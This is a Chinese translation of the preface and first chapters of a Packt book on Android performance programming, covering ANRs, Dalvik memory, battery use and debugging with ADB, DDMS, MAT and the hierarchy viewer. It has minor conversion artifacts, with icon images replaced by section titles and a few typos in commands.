安卓高性能编程-全-

安卓高性能编程(全)

原文:zh.annas-archive.org/md5/09787EDC0EF698C9109E8B809C38277C

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

在移动领域,性能高效的应用程序是成功的关键因素之一。如果应用运行缓慢,用户可能会放弃使用。学习如何构建在功能性和用户体验之间平衡速度和性能的应用可能是一个挑战;然而,现在比以往任何时候都更重要的是要找到这种平衡。

Android 高性能编程将使你思考如何从应用安装的任何硬件中榨取最大性能,从而你可以扩大影响并提高参与度。本书首先提供了对 Android 最新技术的介绍,以及性能在 Android 应用中的重要性。然后,我们将解释常规用于调试和剖析 Android 应用的 Android SDK 工具。我们还将学习一些高级主题,如构建布局、多线程、网络和安全性。电池寿命是应用程序中最大的瓶颈之一;本书将展示耗尽电池寿命的典型代码示例,如何预防这种情况,以及如何在各种情况下测量应用程序的电池消耗。

本书解释了构建优化和高效系统的技术,这些系统不会耗尽电池电量,导致内存泄漏,或随时间变慢。

本书内容涵盖

第一章,引言:为什么需要高性能?,对主题进行了介绍,包括当前 Android 技术的最新状态,以及性能在 Android 应用中的重要性。

第二章,高效调试,涵盖了 Android SDK(和一些外部工具)提供的常规用于调试和剖析 Android 应用的工具。

第三章,构建布局,将带你了解用于优化 Android 例程的技术,编写高效使用内存的应用程序,并解释从内存分配到垃圾回收的概念。

第四章,内存,提供了许多关于 UI 设计的见解,需要学习以创建高效的 UI,使其快速加载,不会给用户造成延迟感,并且能够高效更新。

第五章,多线程,解释了 Android 应用中所有不同的线程选项以及何时应用每种选项。一些高级技术,如 IPC,也将通过实际代码展示。

第六章,网络,展示了用于执行高效网络操作的技术,以及从服务器检索数据的技术,如指数回退或避免轮询。

第七章,安全,涵盖了保护安卓应用程序的技术,如何利用安卓原生提供的安全加密机制,以及如何获取关于连接的信息或只是通知连接变化。

第八章,优化电池消耗,提供了消耗电池寿命的典型代码示例,如何防止这种情况,以及如何在各种情况下从应用程序测量电池消耗;许多开发者在开发应用时不知道如何处理拍照或视频、处理预览和保存数据的行为。

第九章,安卓中的本地编码,这一章介绍了在安卓中本地代码和 C++的世界及其使用方法。

第十章,性能提示,帮助开发者在常见的编码情境中得到指导,错误的抉择可能会影响应用效率;这将是关于前几章未涉及主题的最佳实践指南。

你需要为这本书准备以下内容

你需要以下硬件来使用这本书:

  • 运行 Windows、Linux 或 Mac OS X 的 PC/笔记本电脑

  • 安卓手机。建议使用至少安装了安卓 5.0 的高端型号。

这本书适合谁

这个主题面向具有高级安卓知识,希望推动自己的知识并学习提高应用程序性能技巧的开发者。我们假设他们能够熟练使用整个安卓 SDK,并且已经这样做了很多年。他们还熟悉如 NDK 之类的框架,以使用对性能至关重要的本地代码。

约定

在这本书中,你会发现有多种文本样式区分不同类型的信息。以下是一些样式示例及其含义的解释。

文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 处理方式将如下显示:"如果你进入这个文件夹并调用adb命令,你会在屏幕上看到可用选项的列表。"

一段代码的设置如下:

<resources>
    <style name="Theme.NoBackground" parent="android:Theme">
      <item name="android:windowBackground">@null</item>
    </style>
</resources>

任何命令行输入或输出都会如下写出:

adb shell dumbsys gfxinfo <PACKAGE_NAME>

新术语重要词汇会以粗体显示。你在屏幕上看到的词,例如菜单或对话框中的,会像这样出现在文本中:"为了在设备上调试过度绘制,安卓提供了一个有用的工具,可以在开发者选项中启用。"

注意

警告或重要提示会以这样的框形式出现。

提示

技巧和窍门会以这样的形式出现。

读者反馈

我们始终欢迎读者的反馈。让我们知道你对这本书的看法——你喜欢或不喜欢什么。读者的反馈对我们很重要,因为它帮助我们开发出你真正能从中获得最大收益的标题。

如果要给我们发送一般反馈,只需通过电子邮件<feedback@packtpub.com>联系我们,并在邮件的主题中提及书籍的标题。

如果您在某个主题上有专业知识,并且有兴趣撰写或参与书籍编写,请查看我们位于www.packtpub.com/authors的作者指南。

客户支持

既然您已经拥有了 Packt 的一本书,我们有许多方法可以帮助您充分利用您的购买。

下载示例代码

您可以从您的账户www.packtpub.com下载本书的示例代码文件。如果您在别处购买了这本书,可以访问www.packtpub.com/support注册,我们会直接将文件通过电子邮件发送给您。

您可以通过以下步骤下载代码文件:

  1. 使用您的电子邮件地址和密码登录或注册我们的网站。

  2. 将鼠标悬停在顶部的支持标签上。

  3. 点击代码下载与勘误

  4. 搜索框中输入书籍的名称。

  5. 选择您要下载代码文件的书。

  6. 从下拉菜单中选择您购买本书的地方。

  7. 点击代码下载

您还可以通过在 Packt Publishing 网站的书页上点击代码文件按钮来下载代码文件。通过在搜索框中输入书名可以访问此页面。请注意,您需要登录到您的 Packt 账户。

文件下载后,请确保您使用最新版本的软件解压或提取文件夹:

  • 适用于 Windows 的 WinRAR / 7-Zip

  • 适用于 Mac 的 Zipeg / iZip / UnRarX

  • 适用于 Linux 的 7-Zip / PeaZip

本书代码捆绑包也托管在 GitHub 上,地址为github.com/PacktPublishing/Android-High-Performance-Programming。我们还有其他丰富的书籍和视频代码捆绑包,可在github.com/PacktPublishing/查看。请查看!

下载本书的色彩图像

我们还为您提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的色彩图像。色彩图像将帮助您更好地理解输出的变化。您可以从www.packtpub.com/sites/default/files/downloads/AndroidHighPerformanceProgramming_ColorImages.pdf下载此文件。

勘误

尽管我们已经竭尽全力确保内容的准确性,但错误仍然在所难免。如果您在我们的书中发现了一个错误——可能是文本或代码中的错误——如果您能向我们报告,我们将不胜感激。这样做可以避免其他读者产生困扰,并帮助我们在后续版本中改进这本书。如果您发现任何勘误信息,请通过访问www.packtpub.com/submit-errata,选择您的书籍,点击Errata Submission Form链接,并输入您的勘误详情。一旦您的勘误信息被核实,您的提交将被接受,并且勘误信息将被上传到我们的网站或添加到该标题下的现有勘误列表中。

要查看之前提交的勘误信息,请访问www.packtpub.com/books/content/support,并在搜索字段中输入书名。所需信息将在Errata部分出现。

盗版问题

在互联网上对版权材料的盗版是一个所有媒体都面临的持续问题。在 Packt,我们非常重视保护我们的版权和许可。如果您在互联网上以任何形式遇到我们作品的非法副本,请立即提供我们该位置地址或网站名称,以便我们可以寻求补救措施。

如果您怀疑有盗版材料,请通过<copyright@packtpub.com>联系我们,并提供疑似盗版材料的链接。

我们感谢您帮助我们保护作者权益和我们为您提供有价值内容的能力。

问题反馈

如果您对这本书的任何方面有问题,可以通过<questions@packtpub.com>联系我们,我们将尽力解决问题。

第一章:引言:为何要高绩效?

根据剑桥词典,性能的一个可接受的定义是:“一个人、机器等完成一项工作或活动的表现。”如果我们将其与“高”结合,可以定义为执行任务时的输出或效率。

软件中的高性能指的是开发者采用的策略,以创建能够高效执行流程的软件片段。当我们开发移动软件时,这影响到但不限于布局开发、能源和电池管理、安全问题、有效的多线程、编程模式和调试技术。

做事情与把事情做对之间存在很大差异。在一个有截止日期、预算和经理的现实世界中,软件工程师经常陷入技术债务。当系统在没有完整或不适当设计的情况下开发时,就会产生技术债务,将问题推向前而不是正确解决。这会产生滚雪球效应:在高级阶段,技术债务如此之高,以至于进一步开发成本非常高,这导致组织中的预算达到死点或天文数字的损失。

尽管截止日期有时无法避免,但在任何软件开发中采用有效的开发过程对于以合理的成本交付高质量产品至关重要。这也意味着开发技能在开发者中变得更加成熟,工程师可以开发的不仅仅是满足要求的软件,而是高效、健壮,并且可以在未来进一步扩展的软件(我们称之为“可维护性”)。

本书介绍了为安卓设备构建高性能软件的技术。

为何应用程序的性能对如此多人来说如此重要?

无论哪个行业,软件系统性能或质量的下降可能导致巨大的损失。今天的软件系统控制着我们的财务,控制着照顾我们健康或公共交通的机器。我们的生活几乎没有任何领域至少不是部分计算机化的。不仅是损失:在一个全球化和竞争激烈的世界中,生产低性能软件的公司很快就会被更高效和更便宜的竞争对手吞噬。

一段时间以来,软件开发中唯一使用的指标是“软件是否正确?它是否在执行它应该做的事情?”。在计算机系统时代的曙光时期,这种做法是有道理的,当时并不是每个流程都计算机化,我们还没有发展出软件工程的文化或质量控制的良好方法,以及团队组织等等。现在,每个人都要求更多。

图表是展示信息的绝佳方式。让我们分析一下智能手机的渗透率数据:

为何应用程序的性能对如此多人来说如此重要?

数据很明确。在 2008 年第四季度,世界上几乎所有地区的智能手机渗透率都低于 20%。如今,在 2015 年,大多数发达国家的渗透率接近 80%,而发展中国家接近 40%。预计到 2020 年,发达国家的渗透率将接近 100%,发展中国家的渗透率将超过 50%。有些国家的手机数量甚至超过了人口数量!

现在的移动用户不仅会在手机上检查电子邮件。有许多操作是在手机上完成的:娱乐业、银行业务和支付、旅游业和旅行、游戏……这让我们得出一个结论:软件不仅要正确无误,还必须是高效的。软件的失败将导致客户的不满,他们可能会选择使用性能更好的竞争对手产品。在极端情况下,性能不佳的软件可能导致我们的业务失去收入——想象一下一个无法进行支付流程的酒店预订应用程序。

手动测试和自动测试

自然会首先想到的一个问题是,测试在提高和改进应用程序性能方面起着核心作用。这在一定程度上是正确的,或者我们更愿意说:测试是一个为智能设计应用程序的好补充,但不是替代品。

如果我们只关注测试,主要有两种类型:手动测试和自动测试。与之前的情况一样,这两种测试是相互包含的,不应以牺牲另一种为代价来使用其中一种。手动测试涉及一个真实用户与一个应用程序及其一些定义的使用场景进行交互,但也有更多的自由意志和能力去离开预定义的测试路径,探索新的路径。

自动测试是开发者编写的,以确保应用程序在整个系统生命周期内的一致性。有几种不同类型:单元测试、集成测试或 UI 测试,读者对此应该很熟悉。良好的测试覆盖为新应用的变化提供了系统的健壮性,提高了对失败和性能问题的抵抗力。与之前的情况一样,我们不希望排除手动测试以支持自动测试,反之亦然(至少在机器能够通过图灵测试之前!)。

ANR 和软件中的延迟

ANR代表应用无响应,是安卓开发者面临的一系列噩梦之一。安卓操作系统会分析应用程序和线程的状态,当满足某些条件时会触发 ANR 对话框,阻止用户进行任何交互式体验。该对话框宣布应用程序停止响应,且不再有反应。用户可以选择是否关闭应用程序,或者继续等待直到应用程序再次变得响应(如果这种情况真的会发生):

软件中的 ANR 和延迟

什么原因会导致 ANR,我该如何避免它们?

Android 系统在两种不同情况下会触发 ANR:

  • 当有事件在五秒内没有得到响应

  • 如果一个 BroadcastReceiver 在执行后 10 秒仍在运行

这通常发生在UI 线程中执行操作时。通常,任何预期会耗时或操作消耗的操作都应该在单独的线程中执行,保持 UI 线程可用于用户交互,并且只在操作完成时通知 UI 线程。在第五章 多线程中,我们将展示一些多线程和线程通信的高级技术。也有不同的类可以在不同的线程中执行操作,每一个都有其自身的优缺点。通常,在开发应用程序时,请记住:ANR 对话框出现的频率与用户满意度成反比。

Android 架构

与任何其他开发框架一样,Android 定义了自己的架构和模块。Android 是一个基于 Linux 的操作系统,尽管 SDK 提供的众多抽象层几乎完全隐藏了 Linux 内核,实际上我们很少会直接在内核级别编程:

Android 架构

Dalvik 虚拟机

每个 Android 应用程序都在一个名为 Dalvik 的虚拟机中运行自己的进程。正如我们所见,程序通常是用 Java 编写的,然后编译成字节码。从字节码(.class文件)之后,它们会被转换成 DEX 格式,通常使用 Android SDK 提供的特殊工具,名为dx。这种 DEX 格式更优化,与普通的 Java .class文件相比,其内存占用更小,因为移动设备的计算能力不如桌面设备。这是通过对多个.class文件的压缩和合并/优化来实现的。

注意

编码严格来说并非必须使用 Java,Android 同样允许在我们的应用程序中使用原生代码。因此,之前使用过的现有代码可以在这里复用。同样,在计算机视觉领域,有大量从 OpenCV 框架复用的代码。这是通过原生开发工具包NDK)实现的,在第九章 Android 中的原生编码和第十章 性能优化技巧中探讨了这一点。

Dalvik 虚拟机还包括一些Java 虚拟机JVM)的特性,比如垃圾回收GC)。由于 GC 的非分代性质,它曾受到很多批评;它以让开发者抓狂而闻名。然而,自从 Android 2.3 以来,改进的并发垃圾回收器使得开发变得更加容易。

在 Dalvik 上运行的应用程序至少有 16MB 的总可用堆内存。这对于某些应用程序来说可能是一个真正的限制,因为我们可能需要处理大量的图像和音频资源。然而,像平板电脑或高端设备这样的新型设备具有更高的堆限制,允许使用高分辨率图形。我们预计由于移动硬件的快速发展,这种情况将在不久的将来得到改善。

内存管理

内存的定义,在任何软件平台上它都是一种稀缺资源。但说到移动设备,这更是一个受限的资源。移动设备通常具有比其更大的同行更少的物理内存和处理能力,因此高效的内存管理对于提升用户体验和软件稳定性至关重要。

Dalvik 虚拟机与 Java 类似,会定期触发垃圾回收,但这并不意味着我们可以完全忽视内存管理。初级程序员常犯的错误之一就是产生内存泄漏。当内存中的对象无法再被运行中的代码访问时,就会发生内存泄漏。这些对象的大小可能差异很大(从整数到一个大位图或几个兆字节的机构),但一般来说,它们会影响软件的流畅性和完整性。我们可以使用自动化工具和框架来检测内存泄漏,同时应用一些编程技术来避免不必要地分配对象(同样重要的是,在不再需要时释放它们)。

安卓应用有一个最大可管理的 RAM 内存量。它因每个设备而异(是的,系统分化的另一个问题),可以通过在ActivityManager上调用getMemoryClass()函数来特别检查。早期设备的每个应用上限为 16MB。后来设备将其增加到 24MB 或 32MB,看到高达 48 或 64MB 的设备并不会令人惊讶。有几个因素促成了这一事实,比如屏幕尺寸。较大的屏幕通常意味着位图的分辨率更高;因此,随着它们的增加,内存需求也会增长。一些技术也可以绕过这个限制,比如使用 NDK 或向系统请求更大的堆。然而,这对于安卓应用来说被认为是拙劣的形式。

当一个进程启动时,它是由一个现有的或根进程Zygote分叉出来的。Zygote 每次系统启动时都会启动,并加载所有应用程序共有的资源。通过这种方式,安卓试图在应用程序之间共享所有公共资源,避免为相同的框架重复使用内存。

能耗

移动设备的电池容量有限,且不像标准电脑那样连接到永久电源。因此,高效使用电池和能源是生存的关键因素。如果你持续执行耗电操作或需要持续访问设备硬件,这将会影响用户体验,甚至可能导致应用程序被拒绝。

良好的能源管理需要对能源如何使用以及哪些操作可能迅速耗电有很好的了解。有一些工具和基准测试框架可以找出能源瓶颈和软件中能源消耗高于预期的部分。

移动消费电子产品,尤其是手机,由有限容量的电池供电。这意味着在这样的设备中,良好的能源管理至关重要。良好的能源管理需要对能源的使用地点和使用方式有很好的了解。为此,我们详细分析了最近一款手机 Openmoko Neo Freerunner 的功耗。我们不仅测量了整个系统的功耗,还精确地测量了设备主要硬件组件的功耗分解。我们为微基准测试以及一些真实的使用场景提供了这种功耗分解。这些结果通过 HTC Dream 和 Google Nexus One 两款设备的整体功耗测量得到了验证。

Java 语言

安卓大部分是用 Java 编写的。尽管最近出现了一些替代方案(例如,我们可以提到 Kotlin 和 Android,这是一个绝佳的组合),但 Java 可能仍将是安卓的首选语言。它成熟的环境、来自谷歌和其他公司的大量支持以及活跃的开发者社区,确保了它继续引领安卓开发。

正是这种对现有语言的共享使用吸引了开发者加入安卓生态系统。Java 有一些特定的特点和技巧,我们需要学习以有效地使用它。

原生开发工具包,或者在需要时如何使用原生代码进行开发

使用原生开发工具包NDK)有时意味着应用程序的表现截然不同,有的只是完成任务而已。我们通常在以下情况下使用 NDK:

  • 使用现有的 C/C++库:这是一个明显的优势,因为你能够使用强大的现有软件,如 OpenCV1、音频编码器等。

  • 性能:对于一些关键的内循环,在 Android 编译器中即时编译(JIT)可用之前,C/C++相对于 Java 的边缘性能优势可能是决定性因素。

  • 使用 NDK 实现 Java API 无法处理的事情:接近硬件的低级别操作,尤其是针对特定制造商硬件的影响,可能只能通过 C/C++实现。

  • 混淆:编译后的代码在某种程度上比 Java 字节码更难以逆向工程。然而,安全性依赖于隐蔽性并不是理想的解决方案,但它可以补充您已有的系统。

应用程序响应性的三个限制

在任何软件系统中,有三个不同的阈值被认为是用户体验的限制:

  • 0.1 秒被用户视为即时响应。在这种操作中,无需向用户显示任何视觉反馈或通知,这包括大多数正常场景中的操作(例如,点击按钮和显示对话框之间的间隔,或显示不同的活动)。

  • 1.0 秒是用户流程中断的时间。在 0.1 到 1.0 秒之间,仍然无需提供任何反馈,但超过一秒后,用户会失去立即执行操作的感知。

  • 10 秒是最终的限制,此时用户会失去对应用程序的集中精力和兴趣。在操作超过 10 秒的情况下,用户通常会失去对系统的兴趣,并在操作执行过程中拖延。这里的视觉反馈至关重要;如果没有它,用户会感到沮丧并拒绝我们的系统。

谷歌建议所有交互的响应时间保持在 100 到 200 毫秒以内。这是用户感知应用程序迟缓的阈值。尽管这并不总是可能的(考虑到下载大量数据,如媒体等),但我们将学习一些技术,以提供最佳用户体验。

软件质量商业价值

开发人员经常需要向非技术同行解释为什么做出某些决策,这些决策并不能立即带来价值(考虑到重构旧模块或开发一些测试覆盖率)。商业和工程部门之间存在明显的差距,需要调和。

当我们需要与其他部门讨论为了软件质量而做出的决策的商业价值时,我总是喜欢提到“金钱”这个词。从长远来看,做出某些决策等同于节省开支并直接为软件提供价值。它们可能不会立即产生结果,或者产生一个实体物品(尽管软件可以是实体),但它们将来肯定会带来一些好处。我可以想起几次在恰当的时刻重构软件使得可持续扩展的工件与因许多糟糕设计决策而产生的单体架构之间的区别,没有人能够维护最终意味着金钱和财务成本。以下图表揭示了因软件质量不佳随时间给公司带来的损失和后果:

软件质量的企业价值

这张图表摘自 David Chappell 的文档,它解释了软件质量不佳可能导致财务损失的一些例子。因业务流失而造成的价值损失可能让我们想起索尼因网络攻击而关闭 PlayStation 网络的事件。如果软件得到了恰当的设计和保护,网络可能还能够继续运行,但糟糕的设计导致公司损失了大量的金钱。每当公司需要为客户因软件系统糟糕导致的问题进行赔偿时,都会发生因客户赔偿而导致的财务损失。当客户不再愿意购买声名狼藉公司的服务时,明显的财务损失就会发生!因诉讼而导致的财务损失在很多情况下是不可避免的,特别是涉及到隐私问题或数据被盗时(这可能非常昂贵!)。

总结

在阅读了本章之后,读者应该对我们将在本书中一起探索的不同领域有一个更准确的认识。我们也希望我们的论点足够有说服力,并且我们将在整本书中进一步发展这些论点。

读者应该能够论证在自身组织环境中性能的重要性,并且应该了解一些关于高效 Android 开发的关键词。不要感到压力,这只是一个开始。

第二章:高效调试

每个开发者在早期都会熟悉“bug”这个词,并且这种关系将贯穿他们的整个职业生涯。一个bug是软件系统中的一个错误或缺陷,会导致一个意外和不正确的结果。

关于这个词的词源有一些讨论。它最初是用来描述硬件系统中的技术故障,第一次使用这个词的引用来自托马斯·爱迪生。计算机先驱格蕾丝·霍珀(Grace Hopper)在 1946 年追踪到计算机 Mark II 的故障是由一只被困在继电器中的飞蛾引起的。这个物理 bug 最终不仅代表了困在机器内引起故障的物理 bug,也代表了逻辑 bug 或软件错误。

在这个背景下,调试是寻找软件系统中的 bug 或故障的过程。调试包括众多因素,如阅读日志、内存转储和分析、性能分析以及系统监控。在开发阶段,或者在生成系统中检测到 bug 时,开发者将调试软件应用程序以检测缺陷并继续修复它。

如果你是一个安卓开发者,谷歌提供了一套丰富的工具,我们可以用来调试我们的应用程序。本书将基于 Android Studio 套件和谷歌的官方 SDK 进行编写——尽管在过程中还有其他外部工具也可能很有帮助。

安卓调试桥

安卓调试桥,更广为人知的是ADB,是 Android 的一个核心工具。它包含在 Android SDK 的/platform-tools 文件夹中。如果你进入这个文件夹并调用adb命令,你将在屏幕上看到可用的选项列表。

提示

如果你现在还没有这样做,这是一个可以提高生产力的技巧,可能在你使用 ADB 的第一分钟就会得到回报。将你的 Android SDK 存储位置添加到你的PATH环境变量中。从这一刻起,你将能够从系统的任何部分调用该文件夹内包含的所有工具。

使用adb,我们可以执行多种操作,包括显示设备、截图或者连接和断开与不同设备的连接。本书的目的不是详尽地审查一个工具的每一项操作,但在这里,我们列出了一些adb最常见和有用的功能:

# 命令 描述
1 adb logcat *:E&#124;D&#124;I 在控制台中启动logcat,通过错误、调试信息或信息消息进行过滤
2 adb devices 列出所有连接到adb的设备
3 adb kill-server``adb start-server 杀死并重启adb服务器。当adb出现卡顿或功能异常时,这是一个有用的消息
4 adb shell 在目标设备或模拟器上启动一个远程 shell
5 adb bugreport dumpsysdumpstatelogcat的所有内容打印到屏幕上
6 adb help 打印adb所有可执行命令的列表

adb一个有趣的事实是,作为一个命令行工具,它可以用于脚本编写并包含在如 Jenkins 等持续集成CI)系统中。通过使用adb shell,我们可以执行设备上的任何命令。例如,考虑一个有用的脚本,它能够截取设备屏幕的截图:

adb shell screencap -p /sdcard/screenshot.png
adb pull /sdcard/screenshot.png
adb shell rm /sdcard/screen.png

在这本书中,我们将探索adb的许多可能性。

Dalvik 调试监控服务器

Dalvik 调试监控服务器也称为DDMS。这个工具在adb之上运行,并提供了一个具有大量功能的图形界面,包括线程和堆信息、logcat、短信/电话模拟、位置数据等。以下是 DDMS 启动时的样子:

Dalvik Debug Monitor Server

屏幕有不同的部分:

  1. 左上部分显示了活动设备和设备上运行的不同进程。

  2. 右上部分展示了各种选项,默认选项为文件资源管理器。在底部,显示了LogCat

DDMS 中还有更多可用的选项,让我们详细探索它们。首先,我们之前看到的左上部分:

  1. Dalvik Debug Monitor Server图标开始调试选定的进程。

  2. Dalvik Debug Monitor Server图标将在每次为选定进程触发 GC 时更新堆。

  3. 下一个图标,Dalvik Debug Monitor Server,将 HPROF 转储到文件中。HPROF是一种二进制格式,包含应用程序堆的快照。有一些工具可以可视化它们,例如 jhat。稍后,我们将展示如何转换此文件并将其可视化的示例。

  4. Dalvik Debug Monitor Server选项将触发我们应用程序的垃圾回收(对前一个条目很有用)。

  5. Dalvik Debug Monitor Server图标更新 DDMS 中的线程。在处理多线程应用程序时,这将非常方便。

  6. 使用Dalvik Debug Monitor Server图标,我们可以开始分析线程并显示有关它们的准确信息。稍后将展示一个完整的示例。

  7. 要停止正在运行的进程,我们可以使用Dalvik Debug Monitor Server图标。

  8. 要对应用程序进行截图,可以使用Dalvik Debug Monitor Server图标来实现。

  9. 使用Dalvik Debug Monitor Server,我们可以获取视图层次结构的快照并将其发送到 UI 自动化工具。

  10. Dalvik Debug Monitor Server选项利用 Android 的 systrace 捕获系统范围的跟踪。

  11. Dalvik Debug Monitor Server 图标用于开始捕获 OpenGL 跟踪信息。

捕获和分析线程信息

现在我们来看看如何处理线程调试。传统的设置断点并等待线程被调用的方法在这里效果不佳,因为多线程应用程序可能有多个线程同时运行且相互独立。因此,我们希望能够独立地可视化和访问它们。

在列表左侧选择一个进程,并点击 捕获和分析线程信息 图标。如果你现在点击右侧的线程部分,你会看到这个部分已经用当前进程的线程信息进行了更新:

捕获和分析线程信息

注意事项

一些开发者对于进程和线程是什么感到困惑,以防万一:进程提供了执行程序所需的资源(虚拟地址空间、可执行代码、安全上下文等)。进程是执行进程的实例(在某些上下文中也称为任务)。同一个程序可以有多个进程与之关联,且这些进程在机器重启时会消失。线程是进程的一个子集。一个进程可以由多个线程组成,多个线程在多处理器系统中利用并行性。同一进程中的所有线程共享一个地址空间和堆栈或文件描述符,以及其他内容。

我们可以在屏幕上看到每个线程的不同信息:它们都有一个 ID、线程 ID(Tid)、状态、utime(累计执行用户代码的时间,通常以“jiffies”,即 10 毫秒为单位)、stime(累计执行系统代码的时间,也是以 jiffies 为单位)以及一个名称。如果我们点击其中一个进程,我们将在紧随其下的部分可视化该进程的堆栈跟踪。

我们已经提到线程可以被分析。这通常用于调试内存泄漏。在开始分析之前,请记住以下几点:

  • API 级别低于 7(Android 2.1)的设备需要有一个 SD 卡,因为分析数据将保存在那里。

  • API 级别 7 以上的设备不需要有 SD 卡。

点击 捕获和分析线程信息 图标。在 API 级别 19(Android 4.4)以上的 Android 设备上,如果你选择基于跟踪的分析,系统会提示你选择采样频率。激活后,DDMS 将捕获有关所选进程的信息,你只需与应用程序进行交互。准备好后,再次点击图标(此时图标将变为 捕获和分析线程信息)以停止分析器并转储获取的信息。会出现如下屏幕:

捕获并分析线程信息

每行代表一个独立线程的执行,随着向右移动,时间增加。每个方法的执行以不同的颜色显示。

在这个新界面的底部部分是一个分析面板。这个表格显示了包括和排除 CPU 时间,以百分比和绝对值表示。排除时间是指我们在方法中花费的时间,而包括时间是我们在方法及其所有被调用函数中花费的时间。因此,调用方法被称为父方法,而方法被称为子方法。

注意

分析器有一个众所周知的问题:虚拟机复用线程 ID。如果一个线程停止而另一个开始,它们可能会得到相同的 ID。这可能导致混淆数据,因此在分析时请确保你正确处理线程。

堆分析和可视化

我们已经学会了如何使用 DDMS 来调试线程。现在我们将学习如何正确分析应用程序的内存堆:即已分配内存所在的内存部分。在调试内存泄漏时,这非常重要。

让我们使用堆转储来追踪问题。点击 堆分析和可视化 图标来转储 HPROF 文件,并选择你想要保存文件的位置。现在对文件运行 hprof-conv 命令。hprof-conv 是一个 Android 实用工具,它将 .hprof 文件从 Dalvik 格式转换为 J2SE HPROF 格式,这样就可以使用标准工具打开它。你可以在 /platform-tools 目录下找到它。要运行它,你需要输入以下命令:

hprof-conv dump.hprof converted-dump.hprof

现在你将拥有一个可以被一些标准工具理解的文件。为了读取这个文件,我们将使用 MAT,这是一个可以从 www.eclipse.org/mat/downloads.php 下载的独立版本。

MAT 是一个非常复杂且强大的工具。点击 文件 并打开 堆转储。你将进入一个与以下类似的界面:

堆分析和可视化

如果我们点击其中一个组,将显示一组选项。其中一个特别有趣的是 直方图。在直方图中,可以按实例数量、使用的总内存量或存活的总内存量过滤类。

如果我们右键点击其中一个类,并选择 列出对象 选项以及其引用,将在堆中生成一个类的列表。稍后可以根据使用情况进行排序。通过选择一个,我们可以显示保持对象存活的引用链。我们本身无法判断这是否意味着存在内存泄漏,但了解该领域的程序员可以确定其中某个值是否不应该再存活:

堆分析和可视化

我们还可以在 DDMS 中可视化堆。如果我们选择一个进程并点击 堆分析及可视化 图标,堆部分将更新有关应用程序当前所有存活的不同数据类型和对象的信息。还可以手动触发 GC,以便 DDMS 更新最新的信息。

在这里,我们可以看到每种类型的对象数量,它们的总大小(包括最小和最大对象的大小,这对于识别OutOfMemoryExceptions发生时非常有用),以及每个对象的中位数和平均大小:

堆分析及可视化

分配跟踪器

分配跟踪器是 Android 提供的一个工具,它记录应用程序的内存分配,并列出配置周期内所有已分配对象的调用堆栈、大小和分配代码。这比内存堆更进一步,允许我们识别正在创建的单独内存片段。它有助于识别可能低效分配内存的代码位置,以及在同一时间段内被分配和释放的相同类型的对象。

要开始使用分配跟踪器工具,请在左侧选择您的进程,在右侧窗格中选择分配跟踪器部分,然后点击停止跟踪按钮。将打开一个类似于以下窗口的界面:

分配跟踪器

信息量可能非常大,因此底部有一个过滤器,您可以指定想要获取哪些信息。如果您点击其中一行,分配对象的位置将在屏幕上打印出来。请注意,在我们的特定情况下,我们显示的是关于 Google Maps API 中包含的对象的信息,类名以字母表示。这意味着代码已经被混淆。

使用 ProGuard 混淆代码是一种基本的安全机制。ProGuard 不仅优化代码,去除冗余,还使潜在的攻击者难以查看我们的代码,最终无法对其进行操作。此外,每一行代表一个内存分配事件。每一列代表有关分配的信息,例如对象类型、线程及其大小。

网络使用情况

在 Android 4.0 中,设置中的数据使用情况功能可以长期监控应用程序如何使用网络资源。从 Android 4.0.3 开始,可以实时监控应用程序的网络资源使用情况。还可以通过在使用前为网络套接字应用标签来区分流量来源。

要显示应用程序的网络使用情况,请从左侧选择一个进程。然后移至网络统计标签页,点击开始按钮。你可以选择跟踪速度:每 100、250 或 500 毫秒。然后,与你的应用程序进行交互。将显示与以下类似的屏幕:

网络使用情况

屏幕底部按标签显示网络信息,并通过总计收集。可以查看总共发送和接收的字节和包的数量,以及它们的图形表示。

如果你还没有这样做,建议使用TrafficStats类在每个线程上设置标签。setThreadStatsTag()函数将建立一个标签标识符。tagSocket()untagSocket()函数将手动标记单个套接字。以下是一个典型的例子:

TrafficStats.setThreadStatsTag(0xF00000);
try {
  // make your network request
} finally {
  TrafficStats.clearThreadStatsTag();
}

模拟器控制

DDMS 的最后一个标签页是所谓的模拟器控制。通过选择我们的 adb 设备之一并启动它,将显示带有一些附加选项的标签页:

模拟器控制

使用模拟器控制,我们可以以多种方式修改手机网络:

  • 可以选择不同的数据与语音配置(如家庭网络、漫游、未找到、被拒绝等)

  • 可以定义互联网连接的速度和延迟

  • 可以模拟来自特定电话号码的来电或短信

  • 我们可以向模拟器发送虚假位置信息。这可以手动完成,也可以通过上传 GPX/KML 文件完成

系统状态

DDMS 的最后部分是系统信息标签页。在这里,可以找到最多三个不同的信息类别:CPU 负载、当前时间的内存使用情况以及帧渲染时间(在进行游戏基准测试和调试时,这个尤其重要):

系统状态

UI 调试

我们到目前为止关注的是 Android 的内存、线程和系统方面。还有一个更直观的方面也可以显著提高我们应用程序的性能:即用户界面UI)。Android 提供了一个名为层次查看器的工具,用于调试和优化为 Android 设计的任何 UI。层次查看器提供了应用程序布局层次的可视化表示,并带有关于可以在布局中找到的每个节点的性能信息。它提供了一个所谓的像素完美窗口,其中包含放大显示信息,以便在需要仔细查看像素时使用。

要运行层次查看器,我们首先需要连接我们的设备或模拟器。请注意,出于安全原因,只有运行开发版本 Android 系统的设备才能与层次查看器一起工作。连接后,从/tools目录启动hierarchyviewer程序。如果你还没有把这个目录作为系统PATH的一部分,现在是设置的好时机。

你将看到一个类似下面的屏幕。对于连接到系统的每个设备,你将看到一个附加的运行进程列表。选择一个进程,并点击加载视图层次

调试 UI

打开一个新的屏幕,显示实际的层次查看器层次查看器如下所示:

调试 UI

层次查看器包含以下元素:

  • 在右上角,树状图概览提供了对ViewHierarchy应用的鸟瞰视角。

  • 树视图可以通过鼠标拖动和缩放。当我们点击一个项目时,这个项目会被高亮显示,我们可以访问其属性。

  • 树视图下面的属性窗格,提供了视图所有属性的摘要。

  • 布局视图显示了一个布局的线框图。当前选中的视图轮廓是红色的。如果我们点击一个轮廓,它将被选中,并且在属性窗格中可以访问其属性。

使用层次查看器进行性能分析

层次查看器提供了一个强大的分析器,用于分析和优化应用程序。要进行性能分析,请点击使用层次查看器进行性能分析图标,选择分析节点。如果你的视图层次很大,可能需要一些时间才能初始化。

在这一点上,你的层次中的所有视图都将出现三个点:

  • 左边的点代表渲染管道的绘制过程

  • 中间的点代表布局阶段

